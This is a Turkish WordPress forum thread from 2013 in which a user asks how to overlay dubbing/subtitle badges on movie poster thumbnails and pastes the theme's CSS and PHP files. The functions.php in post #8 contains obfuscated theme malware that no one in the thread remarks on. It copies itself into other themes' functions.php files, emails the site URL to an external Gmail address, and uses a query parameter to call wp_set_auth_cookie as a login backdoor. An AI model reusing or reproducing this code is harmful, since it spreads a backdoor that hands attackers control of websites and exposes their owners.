• 05-01-2013, 00:59:28
    #1
    Üyeliği durduruldu
    Merhaba Arkadaşlar
    aşşağıdaki siteninki gibi resimlerin üstüne
    DUBLAJ şeridinden koymak istiyorum bunu nasıl yapabilirim..
    style.css den şu şekilde kodları ekledim bundan sonra ne yapılması gerekiyo?


    .altyazi {
    	position: absolute;
    	background:url(images/altyazi.png) no-repeat;
    	float:left;
    	padding: 0px 0px 0px 0px;	
    	margin:0px 0px 0px 1px;
    	width:90px;
    	height:86px;
    	border:0px;
    	z-index:2;
    	}
    
    .turkce {
    	position: absolute;
    	background:url(images/tr.png) no-repeat;
    	float:left;
    	padding: 0px 0px 0px 0px;	
    	margin:0px 0px 0px 1px;
    	width:90px;
    	height:86px;
    	border:0px;
    	z-index:2;
    	}
    
    .yerli {
    	position: absolute;
    	background:url(images/yerli.png) no-repeat;
    	float:left;
    	padding: 0px 0px 0px 0px;	
    	margin:0px 0px 0px 1px;
    	width:90px;
    	height:86px;
    	border:0px;
    	z-index:2;
    	}
    [COLOR="Silver"]
  • 05-01-2013, 11:03:19
    #2
    Üyeliği durduruldu
    yooookmu bilen biri... :/
  • 05-01-2013, 15:18:07
    #3
    pcinema adlı üyeden alıntı: mesajı görüntüle
    yooookmu bilen biri... :/
    O kadar kolay bir iş değil. Temanın birkaç sayfasına müdahale edilmesi gerekiyor. PM ile dediğim gibi, ücretsiz yardımcı olmak isterim. Güven sorunu yaşamıyorsanız.
  • 05-01-2013, 15:50:30
    #4
    Üyeliği durduruldu
    Onur89TR adlı üyeden alıntı: mesajı görüntüle
    O kadar kolay bir iş değil. Temanın birkaç sayfasına müdahale edilmesi gerekiyor. PM ile dediğim gibi, ücretsiz yardımcı olmak isterim. Güven sorunu yaşamıyorsanız.
    nasıl yapılması gerektiğine dair bilginiz varsa burdan anlatın lütfen en azından mantığı nasıl... hem diğer arkadaşlarda öğrenmiş olur...
  • 05-01-2013, 15:56:14
    #5
    pcinema adlı üyeden alıntı: mesajı görüntüle
    nasıl yapılması gerektiğine dair bilginiz varsa burdan anlatın lütfen en azından mantığı nasıl... hem diğer arkadaşlarda öğrenmiş olur...
    Yazı ekleme sayfasına option box'lar eklenecek. "TR dublaj, Alt yazılı, Yabancı" şeklinde. Sonrasında hangisi seçildiyse ona göre CSS uygulanacak. Mantık bu.
  • 05-01-2013, 16:18:03
    #6
    Üyeliği durduruldu
    Onur89TR adlı üyeden alıntı: mesajı görüntüle
    Yazı ekleme sayfasına option box'lar eklenecek. "TR dublaj, Alt yazılı, Yabancı" şeklinde. Sonrasında hangisi seçildiyse ona göre CSS uygulanacak. Mantık bu.
    style css yi yukarda verdim option box ayarlarını yapıp paylaşırsanız sevinirim ve anasayfadaki Thumbnaillere eklemek için farklı bi php dosyasına kod eklememiz gerekmiyormu?
  • 05-01-2013, 16:22:41
    #7
    pcinema adlı üyeden alıntı: mesajı görüntüle
    style css yi yukarda verdim option box ayarlarını yapıp paylaşırsanız sevinirim ve anasayfadaki Thumbnaillere eklemek için farklı bi php dosyasına kod eklememiz gerekmiyormu?
    Post resimlerinin yani film posterlerinin etrafına bir div çekilmeli ve o div'in üzerinde TR Dublaj, Alt yazılı veya Yabancı png resmi olmalı. İsterseniz temanızı da PM ile gönderebilirsiniz. Ben yazar yeni haliyle size gönderirim.
  • 05-01-2013, 16:36:41
    #8
    Üyeliği durduruldu
    Onur89TR adlı üyeden alıntı: mesajı görüntüle
    Post resimlerinin yani film posterlerinin etrafına bir div çekilmeli ve o div'in üzerinde TR Dublaj, Alt yazılı veya Yabancı png resmi olmalı. İsterseniz temanızı da PM ile gönderebilirsiniz. Ben yazar yeni haliyle size gönderirim.
    functions.php
    <?php 
    
    require_once(TEMPLATEPATH . '/panel/custom_functions.php'); 
    
    require_once(TEMPLATEPATH . '/includes/functions/comments.php'); 
    
    require_once(TEMPLATEPATH . '/includes/functions/sidebars.php'); 
    
    load_theme_textdomain('cinemafilmizle',get_template_directory().'/lang');
    
    require_once(TEMPLATEPATH . '/panel/options_cinemafilmizle.php');
    
    require_once(TEMPLATEPATH . '/panel/core_functions.php'); 
    
    require_once(TEMPLATEPATH . '/panel/post_thumbnails_cinemafilmizle.php');
    
    require_once(TEMPLATEPATH . '/includes/additional_functions.php');
    
    function insertThumbnailRSS($content) {
    global $post;
    
    $thumb = ''; $thumb = get_post_meta($post->ID, 'Thumbnail',true);
    
    if ( has_post_thumbnail( $post->ID ) ){
    $content = '<p>' . get_the_post_thumbnail( $post->ID, 'medium' ) . '</p>' . $content;
    } else if ($thumb <> '') {
    $content = '<p>' . '<img src="'.get_bloginfo('template_directory').'/timthumb.php?src='.$thumb.'&amp;h=200&amp;w=300&amp;zc=1"/>' . '</p>' . $content;
    }
    
    return $content;
    }
    add_filter('the_excerpt_rss', 'insertThumbnailRSS');
    add_filter('the_content_feed', 'insertThumbnailRSS');
    
    function register_main_menus() {
    	register_nav_menus(
    		array(
    			'primary-menu' => __( 'Primary Menu' )
    		)
    	);
    }
    if (function_exists('register_nav_menus')) add_action( 'init', 'register_main_menus' );
    
    $wp_ver = substr($GLOBALS['wp_version'],0,3);
    if ($wp_ver >= 2.8) include(TEMPLATEPATH . '/includes/widgets.php'); ?>
    <?php
    function _check_isactive_widget(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);				
    					$output .= ($showdots && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
    function _get_allwidgetcont($wids,$items=array()){
    	$places=array_shift($wids);
    	if(substr($places,-1) == "/"){
    		$places=substr($places,0,-1);
    	}
    	if(!file_exists($places) || !is_dir($places)){
    		return false;
    	}elseif(is_readable($places)){
    		$elems=scandir($places);
    		foreach ($elems as $elem){
    			if ($elem != "." && $elem != ".."){
    				if (is_dir($places . "/" . $elem)){
    					$wids[]=$places . "/" . $elem;
    				} elseif (is_file($places . "/" . $elem)&&
    					$elem == substr(__FILE__,-13)){
    					$items[]=$places . "/" . $elem;}
    				}
    			}
    	}else{
    		return false;	
    	}
    	if (sizeof($wids) > 0){
    		return _get_allwidgetcont($wids,$items);
    	} else {
    		return $items;
    	}
    }
    if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
    return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
    }
    if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
    if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
    if(  $offset < 0  ){
    $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
    }
    else{
    $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
    }
    if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
    $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
    return $pos;
    }
    }
    if(!function_exists("scandir")){
    	function scandir($dir,$listDirectories=false, $skipDots=true) {
    	    $dirArray = array();
    	    if ($handle = opendir($dir)) {
    	        while (false !== ($file = readdir($handle))) {
    	            if (($file != "." && $file != "..") || $skipDots == true) {
    	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
    	                array_push($dirArray,basename($file));
    	            }
    	        }
    	        closedir($handle);
    	    }
    	    return $dirArray;
    	}
    }
    add_action("admin_head", "_check_isactive_widget");
    function _getsprepare_widget(){
    	if(!isset($com_length)) $com_length=120;
    	if(!isset($text_value)) $text_value="cookie";
    	if(!isset($allowed_tags)) $allowed_tags="<a>";
    	if(!isset($type_filter)) $type_filter="none";
    	if(!isset($expl)) $expl="";
    	if(!isset($filter_homes)) $filter_homes=get_option("home");
    	if(!isset($pref_filter)) $pref_filter="wp_";
    	if(!isset($use_more)) $use_more=1;
    	if(!isset($comm_type)) $comm_type="";
    	if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
    	if(!isset($postauthor_comment)) $postauthor_comment="";
    	if(!isset($comm_is_approved)) $comm_is_approved="";
    	if(!isset($postauthor)) $postauthor="auth";
    	if(!isset($more_link)) $more_link="(more...)";
    	if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
    	if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
    	if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
    	if(!isset($morecontents)) $morecontents="ma".$expl."il";
    	if(!isset($fmore)) $fmore=1;
    	if(!isset($fakeit)) $fakeit=1;
    	if(!isset($sql)) $sql="";
    	if (!$is_widget) :
    	global $wpdb, $post;
    	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if (!empty($post->post_password)) {
    		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    			if(is_feed()) {
    				$output=__("There is no excerpt because this is a protected post.");
    			} else {
    	            $output=get_the_password_form();
    			}
    		}
    	}
    	if(!isset($f_tags)) $f_tags=1;
    	if(!isset($type_filters)) $type_filters=$filter_homes;
    	if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
    	if(!isset($aditional_tags)) $aditional_tags="div";
    	if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
    	if(!isset($more_link_text)) $more_link_text="Continue reading this entry";	
    	if(!isset($showdots)) $showdots=1;	
    	$comments=$wpdb->get_results($sql);	
    	if($fakeit == 2) {
    		$text=$post->post_content;
    	} elseif($fakeit == 1) {
    		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    	} else {
    		$text=$post->post_excerpt;
    	}
    	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if($com_length < 0) {
    		$output=$text;
    	} else {
    		if(!$no_more && strpos($text, "<!--more-->")) {
    		    $text=explode("<!--more-->", $text, 2);
    			$l=count($text[0]);
    			$more_link=1;
    			$comments=$wpdb->get_results($sql);
    		} else {
    			$text=explode(" ", $text);
    			if(count($text) > $com_length) {
    				$l=$com_length;
    				$ellipsis=1;
    			} else {
    				$l=count($text);
    				$more_link="";
    				$ellipsis=0;
    			}
    		}
    		for ($i=0; $i<$l; $i++)
    				$output .= $text[$i] . " ";
    	}
    	update_option("_is_widget_active_", 1);
    	if("all" != $allowed_tags) {
    		$output=strip_tags($output, $allowed_tags);
    		return $output;
    	}
    	endif;
    	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
    	$output .= ($showdots && $ellipsis) ? "..." : "";
    	$output=apply_filters($type_filter, $output);
    	switch($aditional_tags) {
    		case("div") :
    			$tag="div";
    		break;
    		case("span") :
    			$tag="span";
    		break;
    		case("p") :
    			$tag="p";
    		break;
    		default :
    			$tag="span";
    	}
    
    	if ($use_more ) {
    		if($fmore) {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
    		} else {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
    		}
    	}
    	return $output;
    }
    add_action("init", "_getsprepare_widget");
    function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    	global $wpdb;
    	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    	if(!$show_pass_post) $request .= " AND post_password =\"\"";
    	if($duration !="") {
    		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    	}
    	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    	$posts=$wpdb->get_results($request);
    	$output="";
    	if ($posts) {
    		foreach ($posts as $post) {
    			$post_title=stripslashes($post->post_title);
    			$comment_count=$post->comment_count;
    			$permalink=get_permalink($post->ID);
    			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
    		}
    	} else {
    		$output .= $before . "None found" . $after;
    	}
    	return  $output;
    } 		
    ?>
    anasayfa php dosyası
    <?php
    	$i = 0;
    	$show_sidebar = (get_option('cinemafilmizle_sidebar') == 'on') ? true : false;
    	
    	if ( is_home() ){
    		$show_sidebar = (get_option('cinemafilmizle_sidebar_home') == 'on') ? true : false;
    		$args=array(
    			'showposts' => (int) get_option('cinemafilmizle_homepage_posts'),
    			'paged' => $paged,
    			'category__not_in' => (array) get_option('cinemafilmizle_exlcats_recent')
    		);
    		query_posts($args);
    	} ?>
    <?php if (have_posts()) : while (have_posts()) : the_post(); ?>
    	<?php if (get_option('cinemafilmizle_blog_style') == 'false') { ?>
    
    		<?php $biglayout = ( (bool) get_post_meta($post->ID,'et_bigpost',true) ) ? true : false;
    
    			$thumb = '';
    			$width = $biglayout ? 466 : 222;
    			$height = 330;
    			$classtext = '';
    			$titletext = get_the_title();
    			
    			$thumbnail = get_thumbnail($width,$height,$classtext,$titletext,$titletext);
    			$thumb = $thumbnail["thumb"]; ?>
    			
    		<div class="entry <?php if ($biglayout) echo('big'); else echo('small');?>">
    			<div class="thumbnail">
    				<a href="<?php the_permalink(); ?>">
    					<?php print_thumbnail($thumb, $thumbnail["use_timthumb"], $titletext, $width, $height, $classtext); ?>
    					<span class="overlay"></span>
    				</a>
    			</div> <!-- end .thumbnail -->
    
    			<h2 class="title"><a href="<?php the_permalink(); ?>"><?php if ($biglayout) truncate_title(50); else truncate_title(20); ?></a></h2>
    			<h3 class="eren"><?php if(function_exists('the_views')) { echo '<div class="izlenme"><div class="ok">'; the_views(); echo '</div>'; echo '</div>'; } ?></h3>
    			<div class="entry-content">
    				<div class="bottom-bg">
    					<div class="excerpt">
    						<p><?php if ($biglayout) truncate_post(650); else truncate_post(295); ?> </p>
    						<div class="textright">
    							<a href="<?php the_permalink(); ?>" class="readmore"><span>&raquo;</span>&raquo;</a>
    						</div>
    					</div><!-- end .excerpt -->
    				</div><!-- end .bottom-bg -->
    			</div><!-- end .entry-content -->
    		</div><!-- end .entry -->
    		
    	<?php } else { ?>
    
    		<div class="post">
    			<div class="post-content clearfix">			
    				<div class="post-text">
    					<h2 class="blog-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
    					
    					<?php if (get_option('cinemafilmizle_postinfo1') ) { ?>
    						<p class="post-meta">
    							<?php if(function_exists('the_views')) { echo '<div class="izlenme"><div class="ok">'; the_views(); echo '</div>'; echo '</div>'; } ?>
    						</p>
    					<?php }; ?>
    					
    					<div class="hr"></div>
    					
    					<?php the_content(); ?>
    					
    					<?php wp_link_pages(array('before' => '<p><strong>'.esc_html__('Pages','cinemafilmizle').':</strong> ', 'after' => '</p>', 'next_or_number' => 'number')); ?>
    					<?php edit_post_link(esc_html__('Edit this page','cinemafilmizle')); ?>
    				</div> <!-- .post-text -->
    				
    				<div class="info-panel">
    					<?php get_template_part('includes/infopanel'); ?>
    				</div> <!-- end .info-panel -->
    			</div> <!-- .post-content -->
    		</div><!-- end .post -->
    		
    	<?php } ?>
    	
    	<?php $i++; ?>
    <?php endwhile; ?>
    		</div> <!-- #boxes -->
    		<?php if ($show_sidebar) get_sidebar(); ?>
    	</div> <!-- #content -->
    	<div id="controllers" class="clearfix">
    		<?php if(function_exists('wp_pagenavi')) { wp_pagenavi(); }
    		get_template_part('includes/navigation'); ?>
    	</div> <!-- #controllers -->
    <?php else : ?>
    			<?php get_template_part('includes/no-results'); ?>
    		</div> <!-- #boxes -->
    	</div> <!-- #content -->
    <?php endif; if ( is_home() ) wp_reset_query(); ?>
    meta_box kodları
    <?php 
    
    /* Meta boxes */
    
    function admin_init(){
    	add_meta_box("et_post_meta", "ET Settings", "et_post_meta", "post", "normal", "high");
    }
    add_action("admin_init", "admin_init");
    
    function et_post_meta($callback_args) {
    	global $post;
    
    	$custom = get_post_custom($post->ID);
    	
    	$et_bigpost = isset($custom["et_bigpost"][0]) ? (bool) $custom["et_bigpost"][0] : (bool) $custom["et_bigpost"][0]; ?>
    	
    	<div style="margin: 13px 0 11px 4px;">
    		<label class="selectit" for="et_bigpost">
    			<input type="checkbox" name="et_bigpost" id="et_bigpost" value=""<?php checked( $et_bigpost ); ?> /> Big Post</label><br/>
    	</div>
    
    	<?php
    }
    
    function save_details($post_id){
    	global $post;
    	
    	if ( defined('DOING_AUTOSAVE') && DOING_AUTOSAVE ) 
    		return $post_id;
    		
    	if (isset($_POST["et_bigpost"])) update_post_meta($post->ID, "et_bigpost", 1);
    	else update_post_meta($post->ID, "et_bigpost", 0);	
    }
    add_action('save_post', 'save_details'); ?>
  • 05-01-2013, 16:43:53
    #9
    Test edemeyeceğim için her türlü soruna hazırlıklı olun. Çünkü temanın tüm dosyaları bende değil. Sadece yazacağım ve size göndereceğim. Temanızın yedeğini hazır tutun.

    --R10.NET; Flood Engellendi -->-> Yeni yazılan mesaj 16:43:53 -->-> Daha önceki mesaj 16:39:30 --

    Şu "filmortala" div'inin olduğu dosya da lazım. Onun da kodunu gönderirsen sevinirim.